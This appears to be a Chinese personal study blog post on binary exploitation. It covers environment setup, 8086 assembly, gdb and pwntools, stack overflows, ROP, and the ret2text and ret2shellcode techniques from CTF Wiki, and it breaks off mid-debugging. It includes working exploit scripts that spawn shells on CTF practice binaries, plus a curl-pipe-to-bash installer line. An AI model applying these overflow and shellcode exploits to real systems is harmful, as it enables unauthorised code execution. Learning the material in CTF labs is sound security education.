Featured image of post Pwn芝士学爆

Pwn芝士学爆

Pwn芝士学爆

环境配置

ubuntu24.04安装

软件合集

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
sudo apt install vim -y
sudo apt install gcc -y
sudo apt install git -y
sudo apt install python3-pip -y
sudo mv /usr/lib/python3.12/EXTERNALLY-MANAGED /usr/lib/python3.12/EXTERNALLY-MANAGED.bk
sudo pip install pwntools
sudo apt install ruby -y
sudo apt install ruby-dev -y
sudo gem install one_gadget
sudo gem install seccomp-tools
cd ~/
git clone https://github.com/matrix1001/glibc-all-in-one
cd ~/glibc-all-in-one
sudo python3 update_list
cd ..
sudo apt install patchelf
cd ~/
git clone https://github.com/dsyzy/free-libc
cd ~/free-libc
sudo sh ./install.sh
cd ..
sudo apt install build-essential libssl-dev -y
sudo apt install cmake -y
sudo apt install wabt -y
cd ~/
git clone --recursive https://github.com/WebAssembly/wabt
cd wabt
mkdir build
cd build
cmake ..
cmake --build .
sudo apt install curl -y
curl https://wasmtime.dev/install.sh -sSf | bash
sudo apt install qemu-kvm libvirt-daemon-system libvirt-clients virtinst bridge-utils virt-manager virt-viewer -y

装pwndbg

1
2
3
4
5
6
7
8
cd ~/
git clone https://github.com/pwndbg/pwndbg
cd ~/pwndbg
./setup.sh
git clone https://github.com/scwuaptx/Pwngdb
cp ~/Pwngdb/.gdbinit ~/
vim ~/.gdbinit
source ~/pwndbg/gdbinit.py

汇编

【8086汇编入门】《零基础入门学习汇编语言》_哔哩哔哩_bilibili

CPU工作原理

8086CPU所有的寄存器都是16位,可以存放两个字节

AX,BX,CX,DX通常用来存放一般性数据被称为通用寄存器,都可以分为两个独立的8位寄存器使用,例如AX可以分为AH和AL,后面类似,也就是分为高位和低位

汇编指令

image-20251207221756721

段地址*16+偏移地址=物理地址

偏移地址为16位

段寄存器

就是提供段地址的

8086CPU有4个CS,DS,SS,ES,当它要访问内存时,由这四个提供段地址

CS和IP是8086CPU最关键的寄存器,指示了CPU当前要读取指令的地址,CS是代码寄存器,IP是指针寄存器

8086CPU工作流程:

  1. 从CS:IP指向的内存单元读取指令,读取的指令进入指令缓冲器
  2. IP加上读取指令的长度,从而指向下一条指令
  3. 执行指令

在任何时候,CPU将CS,IP中的内容当作指令的段地址和偏移地址,合成物理地址,在内存中读取指令码,执行

mov不能更改CS,IP的值,但是另一种指令jmp可以

1
2
jmp 段地址:偏移地址
这里的段地址修改CS,然后偏移地址修改IP 

如果仅修改IP的内容

1
2
3
jmp 某一合法寄存器
jmp ax (类似 mov IP,ax)
也就是利用寄存器中的值修改IP

debug的使用

由于debug这个工具是32位的,win10无法使用,先去下个dosbox,然后下载一个debug

去dosbox修改配置

1
2
3
MOUNT C C:\debug
C:
debug

image-20251209225311165

然后现在打开dosbox,会出现两个界面,出现蓝框的是模拟debug界面,现在输入dds:0验证

image-20251209225617998

r指令可以用来查看和修改寄存器的值

image-20251210200943595

同理也可以修改cs和ip

然后d命令用来查看内存中的内容,这里查看的话是空的

a命令用来用汇编形式向内存中写入命令

image-20251210202258940

查看的话d命令后面要跟对cs和ip

image-20251210202425848

u命令的话可以以汇编的形式查看

之前u或者d查看不到是因为cs和ip地址不对,可以修改成这里的地址,就不用带地址查询了

接下来用t命令执行命令

image-20251210203100037

总之一直按t就会一直执行,这里quit退出

e指令就是改指令,用法跟上面几个一样

内存访问

8086CPU中有一个DS寄存器,通常用来存放要访问的数据的段地址

[address]

1
2
3
4
我们现在要读取10000H单元的内容
mov bx,1000
mov ds,bx
mov al,[0]

现在解释一下上面的原理

mov指令的格式

1
mov 寄存器名,内存单元地址

[...]表示一个内存单元,其中的0表示内存单元的偏移地址

执行指令时,8086CPU自动取DS的数据为内存单元的段地址

因此读取10000H的过程就是段地址1000存入ds,然后用[0]表示偏移地址为0,这样就实现读取10000H

但是我们不能直接把1000H放入ds

8086CPU不支持将数据直接送入段寄存器的操作,ds是一个段寄存器

所以存入的方式是:数据->通用寄存器->段寄存器

跟数据结构的栈类似,先进后出

8086CPU提供入栈和出栈的指令:PUSHPOP

1
2
push ax 将ax中的数据送入栈
pop ax 从栈顶取出数据放入ax

入栈和出栈都是以字为单位进行的

8086CPU有两个寄存器,段寄存器SS:存放栈顶的段地址,寄存器SP:存放栈顶的偏移地址

任意时刻,SS:SP指向栈顶元素,栈为空时sp设置为0010H

栈满的时候再使用push入栈,和栈空的时候使用pop出栈都会发生栈顶超界问题,也就是栈溢出

第一个程序

伪指令

1
2
3
4
5
xxx segment //代码段
xxx ends //代码段的结束
end //程序结束
assume //寄存器和段的关联假设
assume cs:codesg //跟定义差不多,就是把cs的段定义为codesg

DOS中的程序运行

Dos是一个单任务操作系统

image-20251214212457141

返回控制权的过程就叫程序返回

实现程序返回,必须要在程序末尾添加固定的返回程序段

1
2
mov ax,4c00H
int 21H

这两条指令实现的功能就是程序返回

image-20251214212959453

现在用notepad++或者其他编辑器,编一个汇编程序

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
assume cs:abc

abc segment
	mov ax,2
	add ax,ax
	add ax,ax
	
	mov ax,4c00H
	int 21H
abc ends

end    

最简单的其实就是去vscode下载DOSBOX插件和MASM/TASM插件,然后直接打开asm文件就行,左下角选择jsdos MASM

image-20251214214724182

运行

image-20251214215524919

会提示没有栈段,没有入口地址,但是后面还是运行了

dos系统中的shell,也就是对应的程序command.com

我们在dos系统中执行exe时,将正在运行的command将exe载入内存,command设置的cs:ip指向程序的第一条指令(程序的入口),从而使程序运行,结束运行后,返回到command中,cpu继续运行command

debug

加上入口的代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
assume cs:codeseg

codeseg segment

start:  mov ax,0123H
        mov bx,0456H
        add ax,bx
        add ax,ax

        mov ax,4c00H
	    int 21H
	
codeseg ends

end start   

debug这个程序

image-20251214222601045

可以看到cx的值是F,cx中存放的是程序的长度,也就是程序的机器码共有15个字节

这里观察CS和DS的值,发现他们相差10H

image-20251214230513981

从这个图可以看出,DS和CS的地址之间有一个PSP,dos用来与程序进行通信,256字节后也就是这里的10H加上偏移地址后变成100H的长度后,存放程序

继续debug,一直按t命令执行下一步

当下一步指令是int的时候,我们要用p命令来执行

image-20251214234727952

[BX]和loop指令

[bx]

先写一个代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
assume cs:codeseg

codeseg segment

start: mov ax,2000H
       mov ds,ax
       mov al,[0]
       mov bl,[1]
       mov cl,[2]
       mov dl,[3]

       mov ax,4c00H
       int 21H
    
codeseg ends

end start        

debug一下

image-20251215213235985

这里查看初始的偏移地址都是0,但是下面mov bl那一步居然是1,继续按t命令往后都是有数字的

image-20251215213621108

这就跟这个编译有关系了,这里直接在编译器里面写代码编译是不会识别[...]为内存单元,只会当成数字处理

这里[bx]同样与前面[0]也表示一个内存单元,它的偏移地址在bx中,而前面[0]这种的内存单元的段地址在ds中

1
2
mov ax,[bx]
mov al,[bx]

下面具体学习一下[bx],先写代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
assume cs:codeseg

codeseg segment

start:  mov ax,2000H
        mov ds,ax
        mov bx,1000H
        mov ax,[bx]
        inc bx
        inc bx
        mov [bx],ax
        inc bx
        inc bx
        mov [bx],ax
        inc bx
        mov [bx],al
        inc bx
        mov [bx],al

codeseg ends
end start

这里inc bx的意思是bx+1

mov ax,[bx]这里是将2000:1000的地址的数据给ax

后面自增bx,填入前面传给ax的数据

而前面[...]不能被识别成内存单元的情况,可以改成ds:[...]就可以了

1
mov al,ds:[0]

loop

循环的意思,使用格式是loop 标号

cpu执行loop指令时,要进行两部操作

1
2
cx=cx-1
判断cx中的值,不为零则转至标号处执行程序,为0就向下执行

也就是cx存放循环的次数

比如我们要计算2的12次方,正常来说要相加11次2,这里用loop指令实现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
assume cs:codeseg
codeseg segment
start: mov ax,2
       mov cx,11
s:     add ax,ax
       loop s
       mov ax,4c00H
       int 21H
codeseg ends
end start

如果cx很大,也就是循环次数很多,我们debug的时候不可能一直按t到结束

所以先u命令查看loop指令所在ip的值和后面退出循环ip的值,g命令直接跳转到循环后的命令

image-20260122203509509

可以看到我们这里直接从ip为0006的位置跳到了000A的位置,或者直接p指令结束掉

之前给出的ds:[...]前面ds就称为段前缀,ds,cs,ss,es都可以这样用

一段安全的空间

8086中,随意的向一段内存空间写入内容是很危险的,因为这段内存空间可能存放的重要的数据或者代码

image-20260123140030465

段前缀

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
assume cs:code
code segment
start: mov bx,0
       mov cx,12
s:     mov ax,0ffffh
       mov ds,ax
       mov dl,[bx]

       mov ax,0020h
       mov ds,ax
       mov [bx],dl
       inc bx
       loop s

       mov ax,4c00h
       int 21h
code ends
end start

这段程序实现段地址内容0ffffh到0020h的迁移,一次循环需要设置两次ds,非常的麻烦,这里引入es这个段寄存器来存放0020h的段地址,也就是现在两个段寄存器存放两个段地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
assume cs:code
code segment
start: mov bx,0
       mov cx,12
       mov ax,0ffffh
       mov ds,ax
       mov ax,0020h
       mov es,ax


s:     mov dl,[bx]
       mov es:[bx],dl
       inc bx
       loop s

       mov ax,4c00h
       int 21h
code ends
end start

包含多个段的程序

dw意思是define word,可以定义字型数据

1
dw 0123h,xxxh,....,0abch

意思就是把这么多字型数据相加然后存到ax中

由于dw定义的数据处于代码段的最开始,所以偏移地址为0,他们的偏移地址分别是0,2,4,6,8,A,C,E

在代码段中使用栈

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
assume cs:codeseg
codeseg segment
         dw 0123h,0456h,0789h,0ABCh,0defh,0fedh,0cbah,0987h
         dw 0,0,0,0,0,0,0,0
start:   mov ax,cs
         mov ss,ax
         mov sp,32
         mov bx,0
         mov cx,8
s:       push cs:[bx]
         add bx,2
         loop s

         mov bx,0
         mov cx,8         
s0:      pop cs:[bx]
         add bx,2
         loop s0

         mov ah,4ch
         int 21h
codeseg ends
end start                  

将数据、代码、栈放入不同的段

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
assume cs:code,ds:data,ss:stack
data segment
         dw 0123h,0456h,0789h,0ABCh,0defh,0fedh,0cbah,0987h
data ends
stack segment
         dw 0,0,0,0,0,0,0,0
stack ends
code segment
start: mov ax,stack
       mov ss,ax
       mov sp,20h
       mov ax,data
       mov ds,ax
       mov bx,0
       mov cx,8
s:     push [bx]
       add bx,2
       loop s

       mov bx,0
       mov cx,8
s0:    pop [bx]
       add bx,2
       loop s0

       mov ax,4c00h
       int 21h       
code ends
end start

但是实际上,这里定义data和stack是可以随便替换的,比如用a和b来代替

更灵活定位内存地址的方法

and和or指令

就是与和或运算

and:把操作对象的相应位设为0,其他位不变

or:把操作对象的相应位设为1,其他位不变

ascii码

在汇编中表示ascii码可以用'...'来把字符表示为ascii码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
assume cs:code,ds:data
data segment
 db 'unIX'
 db 'foRK'
data ends
code segment
start: mov al,'a'
       mov bl,'b'
       mov ax,4c00h
       int 21h
code ends
end start       

大小写转换问题:大写字母的第五位都是0,小写字母的第五位都是1,这里显然可以用到与和或的性质,把字母进行大小写转换

[bx+idata]

例如mov ax,[bx+200],其实就是正常内存单元的位置+200,也就是偏移地址+200,这个意思ax=ds*16+bx+200

这里写法有很多:[bx+5],[bx].5,5[bx]都是一个意思

SI和DI

SI和DI与bx功能相近的寄存器,但是他们不能分成两个8位寄存器使用

我们常用ds:si指向要复制的原始字符串,用ds:di指向复制的目的空间,用循环完成复制,就是实现前面用bx实现的那个

这个也可以写成两个变量的形式[bx+si],[bx+di],或者写成类似mov ax,[bx][si]

数据处理

在8086CPU中,只有bx,bp,si,di可以在[...]进行内存单元的寻址,在[...]中,只能bx和si,bx和di,bp和si,bp和di四种组合,只要[...]里面使用bp,不指定段地址的话,默认是ss

数据有字符和字型两种类型,前面一种是8字节,后面一种是16字节,用寄存器名可以指明数据的尺寸,没有寄存器名存在情况下,用X ptr指明内存单元的长度,X在汇编指令中可以为word或者byte

1
mov word ptr ds:[0],1

div指令

格式:

1
2
div byte ptr ds:[0] ;含义是al=ax/(ds*16+0)的商,ah=ax/(ds*16+0)的余数
div word ptr ds:[0] ;含义是ax=(ax+dx*10000H)/(ds*16+0)的商,dx=...的余数

伪指令dd

前面我们用db和dw定义字节型数据和字型数据,dd是用来定义dword(double word双字型数据),也就是32位

dup

编译器认识,cpu不认识这个指令

1
2
db 3 dup(0) ;相当于db 0,0,0
db 3 dup(0,1,2) ;相当于db 0,1,2,0,1,2,0,1,2

转移指令

offset

取得标号的偏移地址

image-20260207210049156

jmp

无条件跳转指令,可以只修改IP,也可以同时修改CS和IP,jmp指令一般要给出转移的目的地址,转移的信息

依据位移进行转移的

jmp short标号

image-20260208113654932

1
2
3
4
5
6
7
8
assume cs:codeseg
codeseg segment
start: mov ax,0
       jmp short s
       add ax,1
s:     inc ax
codeseg ends
end start  

image-20260208121158155

转移目的地址的转移

jmp far ptr标号,与前面段内转移不同,这个是不同段之间的转移

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
assume cs:codeseg
codeseg segment
start: mov ax,0
       mov bx,0
       jmp far ptr s
       db 256 dup(0)
s:     add ax,1
       inc ax
codeseg ends
end start              

far ptr指明了要修改的CS和IP

转移地址在寄存器

用法就是jmp 16位寄存器

转移地址在内存中

image-20260208140145723

image-20260208140234407

jcxz指令

意思是如果cx=0,执行jmp short 标号,cx不等于0,直接执行下一步

Call和Ret指令

call和ret都是转移指令,都修改ip或者同时修改cs和ip

ret和retf指令

ret指令用栈中的数据,修改IP的内容,实现近转移

retf指令用栈中数据,修改CS和IP的内容,实现远转移

call指令

call指令先将当前的IP或CS和IP入栈,再进行转移,call指令不能进行短转移

image-20260208192857727

image-20260208193116819

在内存中的和寄存器中的跟前面jmp类似

mul指令

就是乘法

image-20260208194905602

标志寄存器

image-20260208200044825

ZF

zf是零标志位,执行程序结果为0,它就为1,执行程序结果不为0,那它就为0

PF

pf是奇偶标志位,判断结果二进制中1的数量,所有bit位的1的个数为偶数则为1,否则为0

SF

符号标志位,判断结果是否为负,为负则为1,非负为0

CF

进位标志位,CF就是记录比如两数相加的更高位的进位值,记录无符号数运算有意义的标志位

OF

溢出标志位,溢出为1,否则为0,记录有符号数运算有意义的标志位

adc指令

image-20260209112344628

sbb指令

image-20260209112736642

cmp指令

image-20260209113314063

根据cmp指令比较后的值进行条件转移的指令:

image-20260209122943148DF

image-20260209123533656

image-20260209123619079

image-20260209123655474

image-20260209123718894

pushf和popf

pushf的功能是将标志寄存器的值压栈,而popf是从栈中弹出数据,送入标志寄存器中

前置知识

前面学习的是8086的汇编,现代cpu图如下

image-20260212194756275

64位就是r开头的,32位就是e开头的,然后前面学的ax那些就是8086的16位

部分寄存器功能:

  • RIP:存放当前指令的地址(感觉就是指针)
  • RSP:存放当前栈帧的栈顶地址
  • RBP:存放当前栈帧的栈底地址
  • RAX:通用寄存器,存放函数返回值

然后之前没见过的几个汇编指令:

  • lea:举例说明lea rax,[rbp-0x18]就是rax=rbp-0x18的意思
  • xor:举例xor ebx,ebx其实就是ebx=0
  • test:举例test eax,eax就是eax&eax但是跟and不同的是,与运算完后面根据标志寄存器进行判断,其实就是cmp eax,0

gdb的使用

1
2
3
4
5
6
7
8
9
set disassembly-flavor intel # 默认反编译成intel形式的汇编
i (b,r) # i b是查看断点信息,i r查看当前寄存器信息
b d (enable b 3;disable b 3) #下断点和取消断点
ni si finish # ni就是一步步往下走,si会步入,finish就是步出
p #也就是print 例如 print $rbp
x #例如我们要查看rip汇编的前20行: x/20i $rip
set context-output /dev/pts/2 # gdb输出分屏
stack # 查看栈信息 stack 40查看前40行
cyclic # 进行字符串操作,例如cyclic 100生成100字符串,-l参数就可以查看地址

pwntools库的基本函数用法

1
2
3
4
5
6
7
8
context(log_level='debug',arch='arm64',os='linux') # 设置模式和架构
process() # 本地调试的时候用来选择文件的
recvuntil() # 接收直到遇到这个字符,比如程序有要求输入的时候,r.recvuntil('input:\n')
send()/sendline() # sendline就是在send基础上加换行符
interactive() # 交互式shell
# 在pwntools里面也可以执行脚本进行调试
gdb.attach() # 例如gdb(r),就是调试前面process函数加载的文件
pause() # 调试完退出

函数调用栈的工作方式(cdecl)

  • x86
    • 使用栈来传递参数‘
    • 使用eax存放返回值
  • amd64
    • 前6个参数依次存放在rdi,rsi,rdx,rcx,r8,r9寄存器中
    • 第7个以后的参数存放于栈中

这里就能很好解释为什么64位常用的gadget是pop rdi;ret,因为传入第一个参数是存放在rdi里面

stack overflow

以下基本照抄ctfwiki的:基本 ROP - CTF Wiki

栈就不多说了,32位和64位程序在调用函数上有明显的区别

x86

函数参数在函数返回地址的上方

x64

System V AMD64 ABI (Linux、FreeBSD、macOS 等采用) 中前六个整型或指针参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,如果还有更多的参数的话才会保存在栈上。

内存地址不能大于 0x00007FFFFFFFFFFF,6 个字节长度,否则会抛出异常。

栈溢出原理

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。

所以发生栈溢出的基本前提是:程序必须向栈上写入数据,写入的数据大小没有被良好的控制

以这里32位程序为例

首先都是checksec查看有无保护和地址随机化

1
2
3
4
5
6
➜  stack-example checksec stack_example
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

这里用gets函数演示,该字符串距离 ebp 的长度为 0x14,那么相应的栈结构为

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
                                           +-----------------+
                                           |     retaddr     |
                                           +-----------------+
                                           |     saved ebp   |
                                    ebp--->+-----------------+
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                              s,ebp-0x14-->+-----------------+

我们可以通过 IDA 获得 success 的地址,其地址为 0x0804843B。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
.text:0804843B success         proc near
.text:0804843B                 push    ebp
.text:0804843C                 mov     ebp, esp
.text:0804843E                 sub     esp, 8
.text:08048441                 sub     esp, 0Ch
.text:08048444                 push    offset s        ; "You Hava already controlled it."
.text:08048449                 call    _puts
.text:0804844E                 add     esp, 10h
.text:08048451                 nop
.text:08048452                 leave
.text:08048453                 retn
.text:08048453 success         endp

由于32位寄存器ebp存放4字节的数据

1
0x14*'a'+'b'*4+success_addr

覆盖后的栈结构为

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
                                           +-----------------+
                                           |    0x0804843B   |
                                           +-----------------+
                                           |       bbbb      |
                                    ebp--->+-----------------+
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                              s,ebp-0x14-->+-----------------+

结合上面的例子,我们得到了栈溢出的几个步骤

寻找危险函数

输入的函数:gets,scanf,vscanf

输出的函数:sprintf

字符串:strcpy,strcat,bcopy

确定padding长度

这一部分主要是计算我们所要操作的地址与我们所要覆盖的地址的距离

我们一般用来覆盖函数返回地址(这个时候直接看EBP就行了)

基本的ROP

当NX开启时,也就是不能传统的注入shellcode的时候,就要考虑用ROP(Return Oriented Programming),其主要思想是在 栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

gadgets 通常是以 ret 结尾的指令序列,通过这样的指令序列,我们可以多次劫持程序控制流,从而运行特定的指令序列,以完成攻击的目的。

ROP这一名称由来就是因为其核心在于利用了指令集中的 ret 指令,从而改变了指令流的执行顺序,并通过数条 gadget “执行” 了一个新的程序。

使用 ROP 攻击一般得满足如下条件:

  • 程序漏洞允许我们劫持控制流,并控制后续的返回地址。
  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

需要注意的是,现代操作系统通常会开启地址随机化保护(ASLR),这意味着 gadgets 在内存中的位置往往是不固定的。但幸运的是其相对于对应段基址的偏移通常是固定的,因此我们在寻找到了合适的 gadgets 之后可以通过其他方式泄漏程序运行环境信息,从而计算出 gadgets 在内存中的真正地址。

32位ROP

假设溢出处的汇编如下

1
2
3
4
5
6
7
0x400000 func:
0x400000    mov eax, 0xdeadbeef
0x400004    ret
0x400005 main:
0x400005    call func
0x400009    mov eax, 0
0x40000b    ret

地址0x0000000c的值为0x400005,如果要挟持返回,我们肯定想着修改0x400005的值,想要getshell,自然要把这里改成system('/bin/sh'),假设现在system的地址是0xf7000000,我们肯定想着把0x400005改成0xf7000000,但是/bin/sh怎么传入呢,假设/bin/sh的地址是0xdeadbeef,但是我们还是不知道怎么传

这里我们回顾一下32位下函数的调用,我们想要调用函数foo(233),实际的汇编代码如下

1
2
3
push 233
call foo
nop

也就是先push233入栈,接着调用call,把返回地址压入栈,跳转到foo函数,此时当foo函数返回的时候,也就是ret指令执行的时候,RSP(ESP)也应该在这个位置,也就是说,foo函数开始执行的时候,RSP(ESP)指向返回地址,而它需要的参数在RSP+4的位置,我们通过ROP挟持返回地址到foo函数时,要确保进入foo函数的瞬间,RSP+4的位置是它第一个参数,而RSP是foo的返回地址

把foo函数替换成前面的system函数,同理可以知道怎么做,前提是我们需要知道system和对应参数的地址

64位ROP

64 位的参数传递是通过寄存器传递的,我们只需要通过控制寄存器的值就可以实现参数传递,因此更多的是通过合适的手段将寄存器修改为我们想要传递的值

在没那么新的 gcc 中,程序都会被编译进一个 _libc_init_csu 函数用于初始化,在这个函数中,有一个汇编片段如下

1
2
pop r15
ret

其中,pop r15 占 2 字节,我们假设其起始地址为 0x8,那么 ret 的地址就是 0xa,如果从 0x9 开始看这个代码片段,由于地址错位的问题,代码片段会变成这样

1
2
pop rdi
ret

这个字节错位弄出来的代码片段,非常有用,因为其 pop rdi 这条指令,让我们有能力通过栈去修改寄存器了,而这个寄存器就是 rdi,那么我们就可以通过栈去修改 rdi 的值,从而实现参数传递了

这些有用的代码片段,我们一般就称为 gadget

64位想要跟32位一样进行ROP,还是考虑返回到 system("/bin/sh")

假设 system 的地址是 0x7f000000"/bin/sh"的地址是 0xdeadbeef

现在覆盖栈如下

地址 如果值为指针,其指向的地址 RSP
0x00000018 0x7f000000 system 的开始
0x00000010 0xdeadbeef “/bin/sh”
0x00000008 gadget pop rdi; ret <-

首先,ret 返回到 pop rdi,此时 RSP 指向了 0x00000010,而 pop rdi 会将 0xdeadbeef 赋给 rdi,这个过程中,RSP 指向了 0x00000018, 然后 ret 返回到 system,此时 RSP 指向了 0x00000020,而 system 的第一个参数就是 rdi,因此 system 的第一个参数就是 0xdeadbeef,也就是 "/bin/sh",从而 getshell 成功

现在我们已经能够实现通过在合适的位置布置地址实现按照一定的顺序调用函数。但是这还不够精细,毕竟我们现在还很难控制调用这些函数时传递的参数

gadget 在这里指的是以 ret 指令结尾的代码片段,例如 leave; ret 就是一个很常用的 gadget。我们可以利用各种合适的 gadget 拼凑出需要的程序逻辑。

获取 gadget 可以使用工具 ROPgadget 获取到 elf 文件中的大部分 gadget。

1
2
ROPgadget --binary xxx
ROPgadget --binary xxx --only "pop|ret" #指定pop rdi;ret这种的gadget

ret2xxx系列

ret2text

ret2text 就是利用 ELF 部分中储存可执行代码的部分(即.text 段),在前面的栈溢出部分,我们已经学习过这个的做法了

以ctfwiki上例题为例

1
2
3
4
5
6
➜  ret2text checksec ret2text
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

只开了NX

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("There is something amazing here, do you know anything?");
  gets((char *)&v4);
  printf("Maybe I will tell you next time !");
  return 0;
}

gets存在栈溢出,看text字段

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
.text:080485FD secure          proc near
.text:080485FD
.text:080485FD input           = dword ptr -10h
.text:080485FD secretcode      = dword ptr -0Ch
.text:080485FD
.text:080485FD                 push    ebp
.text:080485FE                 mov     ebp, esp
.text:08048600                 sub     esp, 28h
.text:08048603                 mov     dword ptr [esp], 0 ; timer
.text:0804860A                 call    _time
.text:0804860F                 mov     [esp], eax      ; seed
.text:08048612                 call    _srand
.text:08048617                 call    _rand
.text:0804861C                 mov     [ebp+secretcode], eax
.text:0804861F                 lea     eax, [ebp+input]
.text:08048622                 mov     [esp+4], eax
.text:08048626                 mov     dword ptr [esp], offset unk_8048760
.text:0804862D                 call    ___isoc99_scanf
.text:08048632                 mov     eax, [ebp+input]
.text:08048635                 cmp     eax, [ebp+secretcode]
.text:08048638                 jnz     short locret_8048646
.text:0804863A                 mov     dword ptr [esp], offset command ; "/bin/sh"
.text:08048641                 call    _system

得到shell地址是0x0804863A,利用gets的栈溢出,使返回地址为0x0804863A就能getshell

1
2
3
.text:080486A7                 lea     eax, [esp+1Ch]
.text:080486AB                 mov     [esp], eax      ; s
.text:080486AE                 call    _gets

可以看到是通过相对于esp的索引,把断点下在call处,查看esp和ebp的地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
gef➤  b *0x080486AE
Breakpoint 1 at 0x80486ae: file ret2text.c, line 24.
gef➤  r
There is something amazing here, do you know anything?

Breakpoint 1, 0x080486ae in main () at ret2text.c:24
24      gets(buf);
───────────────────────────────────────────────────────────────────────[ registers ]────
$eax   : 0xffffcd5c  →  0x08048329  →  "__libc_start_main"
$ebx   : 0x00000000
$ecx   : 0xffffffff
$edx   : 0xf7faf870  →  0x00000000
$esp   : 0xffffcd40  →  0xffffcd5c  →  0x08048329  →  "__libc_start_main"
$ebp   : 0xffffcdc8  →  0x00000000
$esi   : 0xf7fae000  →  0x001b1db0
$edi   : 0xf7fae000  →  0x001b1db0
$eip   : 0x080486ae  →  <main+102> call 0x8048460 <gets@plt>

得到esp是0xffffcd40,所以前面变量s的地址是esp+0x1c,也就是0xffffcd5c,ebp地址是0xffffcdc8,两个相减得到偏移0x6c,所以exp

1
2
3
4
5
6
7
##!/usr/bin/env python
from pwn import *

sh = process('./ret2text')
target = 0x804863a
sh.sendline(b'A' * (0x6c + 4) + p32(target))
sh.interactive()

ret2shellcode

对于没开NX保护的程序,也就是程序的内存中有一段可写且可执行的内存,可以通过提前向其中写入 shellcode,然后再通过控制返回地址使程序执行 shellcode,shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。通常情况下,shellcode 需要我们自行编写,即此时我们需要自行向内存中填充一些可执行的代码

需要注意的是,在新版内核当中引入了较为激进的保护策略,程序中通常不再默认有同时具有可写与可执行的段,这使得传统的 ret2shellcode 手法不再能直接完成利用

如何生成shellcode

以下面这个程序为例子,这个程序首先通过 mmap 申请了一块有执行权限的内存,起始地址为 0xdead0000,然后通过 read 读入内容,同时后面还有一个栈溢出

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
// gcc test.c -no-pie -fno-stack-protector -g
#include <stdio.h>
#include <stdlib.h>

int main() {
    mmap(0xdead0000, 0x1000, 7, 0x21, -1, 0);

    char *p = (char *)0xdead0000;
    char str[0x20];

    read(0, p, 0x1000);

    read(0, str, 0x50);

    return 0;
}

对应的exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python3
# -*- encoding: utf-8 -*-

from pwn import *

# context.log_level = "debug"
# context.terminal = ["konsole", "-e"]
context.arch = "amd64"

p = process("./a.out")

elf = ELF("./a.out")

p.send(asm(shellcraft.sh()).ljust(0x1000, b"\x00"))

payload = b"A" * 0x38
payload += p64(0xDEAD0000)
p.send(payload)

p.interactive()

上面这个 exp 中,shellcraft.sh() 函数用于生成获取 shell 的 shellcode 的汇编指令,而 asm 函数用于将汇编指令转化为机器码。

还是以ctfwiki的例题为例

1
2
3
4
5
6
7
➜  ret2shellcode checksec ret2shellcode
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

没有栈保护,并且有可读,可写,可执行段

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets((char *)&v4);
  strncpy(buf2, (const char *)&v4, 0x64u);
  printf("bye bye ~");
  return 0;
}

可以看出,程序仍然是基本的栈溢出漏洞,不过这次还同时将对应的字符串复制到 buf2 处。简单查看可知 buf2 在 bss 段。

1
2
.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]

在main函数下断点调试

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
gef➤  b main
Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8.
gef➤  r
